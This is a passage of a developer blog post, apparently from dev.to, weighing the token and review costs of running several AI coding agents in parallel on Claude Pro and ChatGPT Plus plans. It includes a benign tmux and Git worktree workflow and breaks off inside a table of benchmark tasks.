      <guid>https://dev.to/soaresdiogo/the-hidden-cost-of-running-multiple-ai-coding-agents-575a</guid>
      <description>&lt;p&gt;My terminal has several AI coding agents running. One is adding a feature in a side project, another is writing tests in a second repository, a third is reviewing a branch. Every pane is moving, and it looks like a lot of work is getting done.&lt;/p&gt;

&lt;p&gt;Then the panes stop, one after the other, with the same kind of message: usage limit reached. The work doesn't fail. It just waits, until the window resets or until I decide to pay for more.&lt;/p&gt;

&lt;p&gt;I use &lt;strong&gt;Claude Code&lt;/strong&gt; on a Claude Pro plan and &lt;strong&gt;OpenAI Codex&lt;/strong&gt; on ChatGPT Plus, two subscriptions of $20 a month each in the US (billed monthly), plus tmux, Git worktrees, subagents, Agent Teams and Orca. That combination raised a question I couldn't answer from the feeling of speed: &lt;strong&gt;are parallel AI agents making me more productive, or am I just reaching my subscription usage limits faster?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This post is my answer, built from the official docs of both tools and the research on AI coding productivity:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What a Claude Pro and a ChatGPT Plus plan actually give you, and what they don't promise.&lt;/li&gt;
&lt;li&gt;Single agent, tmux sessions, subagents and Agent Teams compared, with diagrams.&lt;/li&gt;
&lt;li&gt;A tested tmux + Git worktree workflow, and where Orca fits.&lt;/li&gt;
&lt;li&gt;A way to measure it on your own plans, with the metrics that matter.&lt;/li&gt;
&lt;li&gt;A decision framework and a list of habits that make a $20 plan last.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One idea runs through all of it: &lt;strong&gt;more generated code is not more delivered software.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The illusion of infinite productivity
&lt;/h2&gt;

&lt;p&gt;Running four agents feels four times faster. It isn't, and the reason is in three words people use as synonyms.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Term&lt;/th&gt;
&lt;th&gt;What it measures&lt;/th&gt;
&lt;th&gt;What parallel agents change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Throughput&lt;/td&gt;
&lt;td&gt;Work items completed per hour (here: code generated, not yet reviewed)&lt;/td&gt;
&lt;td&gt;Can increase for independent tasks, but coordination and resource limits may reduce the gains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Latency&lt;/td&gt;
&lt;td&gt;Time from "start this task" to "this task is done"&lt;/td&gt;
&lt;td&gt;Can go down for independent tasks, up for dependent ones&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Productivity&lt;/td&gt;
&lt;td&gt;Verified, merged, working features per unit of your time and budget&lt;/td&gt;
&lt;td&gt;Unknown until you count review, rework and waiting&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;At best, parallel agents raise throughput of &lt;strong&gt;generated&lt;/strong&gt; code. Productivity only counts code that passed tests, survived review and merged. Everything between those two numbers is work that lands on you: reading diffs, resolving conflicts, re-explaining context, and waiting for a reset.&lt;/p&gt;

&lt;p&gt;There is research on how unreliable the feeling of speed is. In METR's &lt;a href="https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/" rel="noopener noreferrer"&gt;2025 randomized controlled trial&lt;/a&gt;, 16 experienced open-source developers worked on 246 real issues from their own repositories. With AI tools allowed, they took 19% longer. Before the study they expected a 24% speedup, and afterwards they still believed AI had made them about 20% faster.&lt;/p&gt;

&lt;p&gt;That result has limits that matter. It used early-2025 tools (mostly Cursor with Claude 3.5 and 3.7 Sonnet), large mature codebases and a small sample. In a &lt;a href="https://metr.org/blog/2026-02-24-uplift-update/" rel="noopener noreferrer"&gt;February 2026 update&lt;/a&gt;, METR said developers are probably more sped up now, but its new data is "only very weak evidence" of how much, partly because many developers refused to work without AI. So the study is not evidence that AI makes you slower. Its useful lesson here is simpler: &lt;strong&gt;your sense of speed is not a measurement.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Google's DORA team points in the same direction from a different angle. The &lt;a href="https://cloud.google.com/blog/products/devops-sre/announcing-the-2024-dora-report" rel="noopener noreferrer"&gt;2024 report&lt;/a&gt; associated higher AI adoption with better documentation and code review speed, but also with an estimated 1.5% drop in delivery throughput and 7.2% drop in delivery stability. The &lt;a href="https://dora.dev/research/2025/dora-report/" rel="noopener noreferrer"&gt;2025 report&lt;/a&gt; sums it up as AI being an amplifier of what a team already does well or badly.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Claude Pro and ChatGPT Plus usage limits actually give you
&lt;/h2&gt;

&lt;p&gt;Before comparing workflows, get the budget right. Neither vendor sells you a fixed number of tokens, and several different limits get mixed up in discussions online.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Limit&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;th&gt;Claude Pro&lt;/th&gt;
&lt;th&gt;ChatGPT Plus (Codex)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Session window&lt;/td&gt;
&lt;td&gt;Usage allowed inside a five-hour period&lt;/td&gt;
&lt;td&gt;Five hours, starting with your first message (&lt;a href="https://support.claude.com/en/articles/11647753-how-do-usage-and-length-limits-work" rel="noopener noreferrer"&gt;source&lt;/a&gt;)&lt;/td&gt;
&lt;td&gt;Five hours, published as ranges of local messages per model (&lt;a href="https://learn.chatgpt.com/docs/pricing" rel="noopener noreferrer"&gt;source&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weekly limit&lt;/td&gt;
&lt;td&gt;A second cap over the week&lt;/td&gt;
&lt;td&gt;Yes, across all models, reset at a fixed time per account&lt;/td&gt;
&lt;td&gt;"Weekly limits may also apply"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shared pool&lt;/td&gt;
&lt;td&gt;What draws from the same budget&lt;/td&gt;
&lt;td&gt;claude.ai, Claude Code and Claude Desktop&lt;/td&gt;
&lt;td&gt;Local messages and cloud tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Published allowance&lt;/td&gt;
&lt;td&gt;A guaranteed token count&lt;/td&gt;
&lt;td&gt;None; "the number of messages you can send will vary" (&lt;a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan" rel="noopener noreferrer"&gt;source&lt;/a&gt;)&lt;/td&gt;
&lt;td&gt;Ranges, explicitly "not fixed message limits"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Paying for more&lt;/td&gt;
&lt;td&gt;When the plan runs out&lt;/td&gt;
&lt;td&gt;Optional usage credits, prepaid, billed at standard API rates (&lt;a href="https://support.claude.com/en/articles/12429409-extra-usage-for-paid-claude-plans" rel="noopener noreferrer"&gt;source&lt;/a&gt;)&lt;/td&gt;
&lt;td&gt;Optional credits, or an API key billed at API rates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Context window&lt;/td&gt;
&lt;td&gt;How much one conversation can hold&lt;/td&gt;
&lt;td&gt;A model property and a separate limit, though a fuller context costs more quota per turn&lt;/td&gt;
&lt;td&gt;Same: a separate limit, but more context means more usage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How to check&lt;/td&gt;
&lt;td&gt;Remaining usage&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/usage&lt;/code&gt; in Claude Code, Settings &amp;gt; Usage&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/status&lt;/code&gt; in the CLI, the Codex usage dashboard&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Prices and ranges are as of November 2026. Three details change how you should work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The pool is shared.&lt;/strong&gt; Every Claude Code session in every tmux pane, every subagent and every chat on claude.ai draws from the same Pro budget. Ten terminals are not ten budgets. On the OpenAI side, local messages and cloud tasks share one allowance too, and the docs warn that cloud tasks "may use more of your allowance than local messages".&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Usage is not message count.&lt;/strong&gt; Anthropic says usage depends on the length and complexity of the conversation, the features you use, the model and the effort level. Its Claude Code guide adds the part most people miss: &lt;a href="https://support.claude.com/en/articles/14552983-models-usage-and-limits-in-claude-code" rel="noopener noreferrer"&gt;every turn resends the conversation so far&lt;/a&gt;, plus &lt;code&gt;CLAUDE.md&lt;/code&gt; and the files Claude has read, before your new prompt. A long session gets more expensive per message as it grows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Model choice is the biggest lever you control.&lt;/strong&gt; OpenAI publishes it plainly. On Plus, the heaviest model in the Codex table allows 5 to 45 local messages per five hours, and the lightest allows 350 to 3,000. The published ranges for the two ends of the table differ by about two orders of magnitude, and OpenAI says they vary by task, so read them as a direction, not a conversion rate. Anthropic doesn't publish numbers, but says Opus "uses meaningfully more of your quota" and that Sonnet is the right choice for most coding work.&lt;/p&gt;

&lt;p&gt;Two traps to avoid. API prices are not the price of subscription usage; they only apply when you turn on usage credits or use an API key. And if &lt;code&gt;ANTHROPIC_API_KEY&lt;/code&gt; is set in your shell, Claude Code &lt;a href="https://support.claude.com/en/articles/11145838-using-claude-code-with-your-pro-or-max-plan" rel="noopener noreferrer"&gt;uses that key instead of your subscription&lt;/a&gt;, which can turn an evening of "free" agents into an API bill.&lt;/p&gt;




&lt;h2&gt;
  
  
  One agent vs multiple agents
&lt;/h2&gt;

&lt;p&gt;There are four architectures in my day-to-day, and they behave very differently on tokens, context and review.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
  subgraph A["A. Single agent"]
    D1([You]) --&amp;gt; S1[One session]
  end
  subgraph B["B. tmux sessions"]
    D2([You]) --&amp;gt; P1[Claude Code: project 1]
    D2 --&amp;gt; P2[Codex: project 2]
    D2 --&amp;gt; P3[Claude Code: project 3]
  end
  subgraph C["C. Subagents"]
    D3([You]) --&amp;gt; M[Main session]
    M --&amp;gt; SA1[Explore]
    M --&amp;gt; SA2[Test runner]
    SA1 -. summary .-&amp;gt; M
    SA2 -. summary .-&amp;gt; M
  end
  subgraph D["D. Agent Team"]
    D4([You]) --&amp;gt; L[Lead]
    L --&amp;gt; T1[Teammate 1]
    L --&amp;gt; T2[Teammate 2]
    T1 &amp;lt;-. messages .-&amp;gt; T2
  end&lt;/code&gt;&lt;/pre&gt;



&lt;h3&gt;
  
  
  A. A single agent
&lt;/h3&gt;

&lt;p&gt;One Claude Code or Codex session working through tasks in order. It has the best context continuity: the agent remembers why a decision was made, and you review one stream of changes. Debugging is simple because there is one author.&lt;/p&gt;

&lt;p&gt;It isn't automatically the most token-efficient option, though. Because every turn resends the whole conversation, a session that carries three unrelated tasks pays for the history of the first two while working on the third. Anthropic's own &lt;a href="https://code.claude.com/docs/en/best-practices" rel="noopener noreferrer"&gt;best practices&lt;/a&gt; say &lt;code&gt;/clear&lt;/code&gt; between unrelated tasks "costs nothing" and stops the next task from paying for the previous one. &lt;strong&gt;A single agent is efficient when its context is relevant, not when it is long.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  B. Multiple tmux sessions across projects
&lt;/h3&gt;

&lt;p&gt;Independent agents on independent projects. This is the cleanest form of parallelism: no shared files, no merge conflicts, and each agent has a small, relevant context.&lt;/p&gt;

&lt;p&gt;Two limits still apply. All the Claude Code sessions share one quota, so parallelism spends your five-hour window faster; it doesn't create more of it. And the scarce resource moves to you: each pane eventually asks a question, needs a decision or produces a diff to review. tmux keeps the sessions alive and organized. It does nothing for token consumption.&lt;/p&gt;

&lt;p&gt;This is also where mixing providers is a real advantage. Claude Pro and ChatGPT Plus are &lt;strong&gt;two separate pools&lt;/strong&gt;. Putting one project on Claude Code and another on Codex is the only way in this post to get more included allowance without upgrading a plan or paying API rates for credits.&lt;/p&gt;

&lt;h3&gt;
  
  
  C. Subagents inside one project
&lt;/h3&gt;

&lt;p&gt;A parent session delegates a bounded job to a subagent. In Claude Code, each subagent &lt;a href="https://code.claude.com/docs/en/sub-agents" rel="noopener noreferrer"&gt;runs in its own context window&lt;/a&gt;, and only its result returns to the main conversation. The built-in Explore subagent, for example, is read-only and made for searching a codebase.&lt;/p&gt;

&lt;p&gt;The common misunderstanding is that subagents save tokens. They save &lt;strong&gt;context&lt;/strong&gt;, which is different. The docs say each subagent sends its own requests, which "count toward the same usage limits as your main conversation". What you gain is a main session that stays short and focused, because 40 files of search results never enter it. Codex says the same about its own subagents: they "consume more tokens than comparable single-agent runs" (&lt;a href="https://learn.chatgpt.com/codex/agent-configuration/subagents" rel="noopener noreferrer"&gt;source&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;A real example from this post. To research it, I delegated the documentation reading to Claude Code subagents (Claude Code 2.1.308): five of them read the Anthropic help center, the Claude Code docs, the Codex docs, Orca's docs and the productivity studies in parallel, and all came back in under two minutes. Claude Code reported about 430,000 tokens across those five. That's a token total, not a share of my quota, which neither tool exposes as a number. That's the ideal case for subagents: read-only, independent, verbose work. It still needed checking: one later verification pass found that an earlier subagent summary had marked a sentence as missing from a doc page when it was there.&lt;/p&gt;

&lt;p&gt;Subagents pay off for narrow, verbose, read-heavy tasks: exploring a codebase, running a test suite and summarizing failures, reviewing a diff. They pay off more with a cheaper model; Claude Code lets you set &lt;code&gt;model: haiku&lt;/code&gt; on a simple subagent.&lt;/p&gt;

&lt;h3&gt;
  
  
  D. Agent Teams
&lt;/h3&gt;

&lt;p&gt;Agent Teams in Claude Code are &lt;a href="https://code.claude.com/docs/en/agent-teams" rel="noopener noreferrer"&gt;experimental and off by default&lt;/a&gt; (you enable them with &lt;code&gt;CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1&lt;/code&gt;). A lead session coordinates separate Claude Code instances that share a task list and message each other directly. Subagents return their result to the caller. One catch if you use both: while Agent Teams are enabled, a subagent that Claude names launches as a teammate, so a team, with team-level token costs, can form when you only asked for delegation.&lt;/p&gt;

&lt;p&gt;The docs are direct about the cost. Agent Teams "use significantly more tokens than a single session", usage scales with the number of active teammates, and the &lt;a href="https://code.claude.com/docs/en/costs" rel="noopener noreferrer"&gt;costs page&lt;/a&gt; estimates about 7x the tokens of a standard session when teammates run in plan mode. The same docs say that for sequential tasks, same-file edits or work with many dependencies, a single session or subagents are more effective.&lt;/p&gt;

&lt;p&gt;Anthropic's engineering team found the same pattern outside Claude Code. Its &lt;a href="https://www.anthropic.com/engineering/multi-agent-research-system" rel="noopener noreferrer"&gt;multi-agent research system&lt;/a&gt; used about 15 times the tokens of a chat, worked best on breadth-first research, and the post notes that "most coding tasks involve fewer truly parallelizable tasks than research".&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Single agent&lt;/th&gt;
&lt;th&gt;tmux sessions&lt;/th&gt;
&lt;th&gt;Subagents&lt;/th&gt;
&lt;th&gt;Agent Team&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Context&lt;/td&gt;
&lt;td&gt;One, continuous&lt;/td&gt;
&lt;td&gt;One per project&lt;/td&gt;
&lt;td&gt;Isolated per task, summary returns&lt;/td&gt;
&lt;td&gt;One per teammate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tokens vs one session&lt;/td&gt;
&lt;td&gt;Baseline&lt;/td&gt;
&lt;td&gt;Sum of sessions, same pool&lt;/td&gt;
&lt;td&gt;Higher, but the main context stays small&lt;/td&gt;
&lt;td&gt;Highest, scales with teammates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coordination&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;You&lt;/td&gt;
&lt;td&gt;The main agent&lt;/td&gt;
&lt;td&gt;Lead, task list, messages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Merge conflicts&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;None across projects&lt;/td&gt;
&lt;td&gt;Low if subagents only read&lt;/td&gt;
&lt;td&gt;Possible on shared files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best for&lt;/td&gt;
&lt;td&gt;Dependent, sequential work&lt;/td&gt;
&lt;td&gt;Unrelated projects&lt;/td&gt;
&lt;td&gt;Search, tests, review&lt;/td&gt;
&lt;td&gt;Research, competing hypotheses, cross-layer work with clear ownership&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  tmux, Git worktrees and multi-agent IDEs
&lt;/h2&gt;

&lt;p&gt;When you want two agents on the &lt;strong&gt;same&lt;/strong&gt; repository, they need separate checkouts, or they'll edit the same files under each other. Anthropic's docs put it simply: give each piece of work "its own checkout so the edits can't collide". Git worktrees are the standard way to do that: each worktree is a separate directory, on its own branch, sharing one repository.&lt;/p&gt;

&lt;p&gt;Here is the workflow I'd use. I ran the git and tmux commands in a scratch repository with git 2.54 and tmux 3.8, with the agent commands replaced by &lt;code&gt;echo&lt;/code&gt; so no usage was spent (the &lt;code&gt;git pull&lt;/code&gt; and &lt;code&gt;npm ci&lt;/code&gt; lines need a real remote and project, so they didn't run there):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# From the main checkout, with an up-to-date main&lt;/span&gt;
git switch main &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git pull &lt;span class="nt"&gt;--ff-only&lt;/span&gt;

&lt;span class="c"&gt;# 1. One worktree and one branch per independent task&lt;/span&gt;
git worktree add &lt;span class="nt"&gt;-b&lt;/span&gt; feat/rbac ../app-rbac main
git worktree add &lt;span class="nt"&gt;-b&lt;/span&gt; feat/audit-log ../app-audit main

&lt;span class="c"&gt;# 2. Worktrees are fresh checkouts: no .env, no node_modules.&lt;/span&gt;
&lt;span class="c"&gt;#    Start from the committed template, never your real .env, then give&lt;/span&gt;
&lt;span class="c"&gt;#    each worktree its own dev-only database and no production secrets.&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; .env.example ../app-rbac/.env &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cp&lt;/span&gt; .env.example ../app-audit/.env
createdb app_rbac &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; createdb app_audit
perl &lt;span class="nt"&gt;-pi&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'s|^DATABASE_URL=.*|DATABASE_URL=postgres://localhost:5432/app_rbac|'&lt;/span&gt; ../app-rbac/.env
perl &lt;span class="nt"&gt;-pi&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'s|^DATABASE_URL=.*|DATABASE_URL=postgres://localhost:5432/app_audit|'&lt;/span&gt; ../app-audit/.env
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../app-rbac &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm ci&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../app-audit &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm ci&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# 3. One tmux session, one window per agent&lt;/span&gt;
tmux new-session &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; agents &lt;span class="nt"&gt;-n&lt;/span&gt; rbac &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PWD&lt;/span&gt;&lt;span class="s2"&gt;/../app-rbac"&lt;/span&gt;
tmux new-window &lt;span class="nt"&gt;-t&lt;/span&gt; agents &lt;span class="nt"&gt;-n&lt;/span&gt; audit &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PWD&lt;/span&gt;&lt;span class="s2"&gt;/../app-audit"&lt;/span&gt;
tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; agents:rbac &lt;span class="s1"&gt;'claude "Implement docs/tasks/rbac.md. Run npm test before you stop."'&lt;/span&gt; Enter
tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; agents:audit &lt;span class="s1"&gt;'codex "Implement docs/tasks/audit-log.md. Run npm test before you stop."'&lt;/span&gt; Enter
tmux attach &lt;span class="nt"&gt;-t&lt;/span&gt; agents
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each task description lives in a file in the repository, so both agents start from the same written requirements instead of a prompt you typed differently twice. The second window runs Codex on purpose. One practical detail: the first time you run &lt;code&gt;claude&lt;/code&gt; in a new directory it asks you to trust the folder, so attach to the session and accept it before the prompt runs.&lt;/p&gt;

&lt;p&gt;Then review and merge like you would a colleague's branch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--oneline&lt;/span&gt; main..feat/rbac          &lt;span class="c"&gt;# what the agent committed&lt;/span&gt;
git diff &lt;span class="nt"&gt;--stat&lt;/span&gt; main...feat/rbac           &lt;span class="c"&gt;# how big the change is&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../app-rbac &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm &lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;               &lt;span class="c"&gt;# run the checks yourself&lt;/span&gt;
git switch main &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git merge &lt;span class="nt"&gt;--no-ff&lt;/span&gt; feat/rbac

&lt;span class="c"&gt;# Cleanup, only after the merge and once nothing in the worktree still matters&lt;/span&gt;
git &lt;span class="nt"&gt;-C&lt;/span&gt; ../app-rbac status &lt;span class="nt"&gt;--short&lt;/span&gt; &lt;span class="nt"&gt;--ignored&lt;/span&gt;   &lt;span class="c"&gt;# lists what removal would touch&lt;/span&gt;
git worktree remove ../app-rbac            &lt;span class="c"&gt;# fails on modified or untracked files&lt;/span&gt;
git branch &lt;span class="nt"&gt;-d&lt;/span&gt; feat/rbac                    &lt;span class="c"&gt;# fails if the branch isn't merged&lt;/span&gt;
dropdb app_rbac                            &lt;span class="c"&gt;# the worktree's own dev database&lt;/span&gt;
&lt;span class="c"&gt;# Repeat for feat/audit-log, ../app-audit and app_audit, then:&lt;/span&gt;
tmux kill-session &lt;span class="nt"&gt;-t&lt;/span&gt; agents
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In my test, &lt;code&gt;git worktree remove&lt;/code&gt; refused to delete a worktree with an untracked file until I passed &lt;code&gt;--force&lt;/code&gt;, and &lt;code&gt;git branch -d&lt;/code&gt; refused to delete a branch still checked out in a worktree. Keep those guards, and know their gap: gitignored files don't count, so &lt;code&gt;node_modules&lt;/code&gt; and a &lt;code&gt;.env&lt;/code&gt; you edited inside a worktree are deleted without a warning. That's why the &lt;code&gt;status --ignored&lt;/code&gt; line comes first: if it lists anything you still need, copy it out before you remove the worktree.&lt;/p&gt;

&lt;p&gt;Both tools also do this for you. &lt;code&gt;claude --worktree feature-auth&lt;/code&gt; starts a Claude Code session in a new worktree, and a &lt;a href="https://code.claude.com/docs/en/worktrees" rel="noopener noreferrer"&gt;&lt;code&gt;.worktreeinclude&lt;/code&gt;&lt;/a&gt; file lists the gitignored files to copy into it; keep that list to dev-only files, for the same reason as above. OpenAI's desktop app has a Worktree mode for running Codex chats in parallel (&lt;a href="https://learn.chatgpt.com/codex/environments/git-worktrees" rel="noopener noreferrer"&gt;docs&lt;/a&gt;); its docs don't describe the same for the CLI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A worktree isolates files, not processes.&lt;/strong&gt; Both agents run as your user, on the same machine, with the same network access, the same credentials in &lt;code&gt;~/.aws&lt;/code&gt; or &lt;code&gt;~/.ssh&lt;/code&gt;, and often the same local database and ports. If two worktrees run migrations against one Postgres database, they will collide, which is why each one got its own above. If you need security isolation, that comes from the agents' sandbox settings, containers or separate machines, not from a second directory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where Orca fits
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/stablyai/orca" rel="noopener noreferrer"&gt;Orca&lt;/a&gt; is an open-source (MIT) desktop app for running coding agents side by side, each in its own Git worktree. It supports Claude Code, Codex and many other CLI agents, and you use your own subscriptions; it doesn't sell model usage. According to its docs, it creates a &lt;a href="https://www.onorca.dev/docs/model/worktrees" rel="noopener noreferrer"&gt;real git worktree per task&lt;/a&gt;, shows diffs you can annotate and send back to the agent, notifies you when an agent finishes or needs attention, and &lt;a href="https://www.onorca.dev/docs/agents/usage-tracking" rel="noopener noreferrer"&gt;tracks the usage&lt;/a&gt; and reset times of providers like Claude Code and Codex in its status bar.&lt;/p&gt;

&lt;p&gt;What it doesn't do: raise your limits. Orca runs the same CLIs against the same plans, so four agents in Orca spend the same pool as four agents in tmux. Its own docs say to prefer the provider console for authoritative spend. Its value is visibility (which agent is waiting on you, how much quota is left) and less manual worktree work. Its cost is another app in your toolchain that releases very often (v1.4.245 on October 30, 2026), with plugins that, per its release notes, run with full access to your computer once approved.&lt;/p&gt;

&lt;p&gt;My rule: if you run one or two agents, tmux and three git commands are enough. When you regularly lose track of which agent is blocked, a tool like Orca starts paying for itself in attention, not in tokens.&lt;/p&gt;




&lt;h2&gt;
  
  
  The hidden cost of parallelism
&lt;/h2&gt;

&lt;p&gt;Parallel agents move work to places you don't see in the moment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Duplicated context.&lt;/strong&gt; Every agent learns your codebase from scratch: it reads &lt;code&gt;CLAUDE.md&lt;/code&gt; or &lt;code&gt;AGENTS.md&lt;/code&gt;, explores the folders, opens the same core files. Four agents pay that onboarding four times, from one quota.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Coordination tokens.&lt;/strong&gt; In an Agent Team, messages between teammates and task-list updates are model calls too. Every teammate is also a separate Claude instance with its own context window, which is the reason Anthropic gives for teams in plan mode using about seven times the tokens of a standard session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Merge conflicts and semantic conflicts.&lt;/strong&gt; Worktrees prevent agents from overwriting each other's files. They don't prevent two branches from making incompatible decisions, like two different error formats or two ways of checking a role. Git merges those cleanly, and your tests or your users find them later.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Review is serial.&lt;/strong&gt; You can run five agents in parallel, but you read diffs one at a time. If an agent produces a 600-line change in 20 minutes and you need 40 minutes to review it properly, adding a second agent mostly doubles your review queue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Interruptions.&lt;/strong&gt; A limit that hits halfway through a task stalls it. Recent Claude Code versions (2.1.234 and later) &lt;a href="https://code.claude.com/docs/en/interactive-mode" rel="noopener noreferrer"&gt;wait and continue on their own&lt;/a&gt; after the reset, but the first request after a long break misses the prompt cache and reprocesses your whole context. Meanwhile, the half-finished branch blocks whatever depended on it.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
  G[Agents generate code&amp;lt;br/&amp;gt;parallel] --&amp;gt; R[You review&amp;lt;br/&amp;gt;serial] --&amp;gt; T[Tests and fixes] --&amp;gt; M[Merged and verified]
  R -. rework .-&amp;gt; G&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;&lt;strong&gt;The bottleneck in AI-assisted development is usually the review step, not the generation step.&lt;/strong&gt; Add agents until your review queue is full, and stop there.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to measure this on your own plans
&lt;/h2&gt;

&lt;p&gt;No article can tell you which workflow wins on your codebase, your plans and your review speed. A small, controlled comparison can, and it's the only way to stop trusting the feeling of speed that METR measured. This is the setup I'd use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The project.&lt;/strong&gt; A TypeScript REST API with PostgreSQL, authentication, role-based access control (RBAC), automated tests and one small frontend screen. Every run starts from the same commit, the same written task files and the same acceptance tests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The tasks.&lt;/strong&gt; A mix of independent and dependent work:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Task&lt;/th&gt;
&lt;th&gt;Depends on&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1&lt;/td&gt;
&lt;td&gt;Add a &lt;code&gt;roles&lt;/code&gt; table, migration and seed&lt;/td&gt;
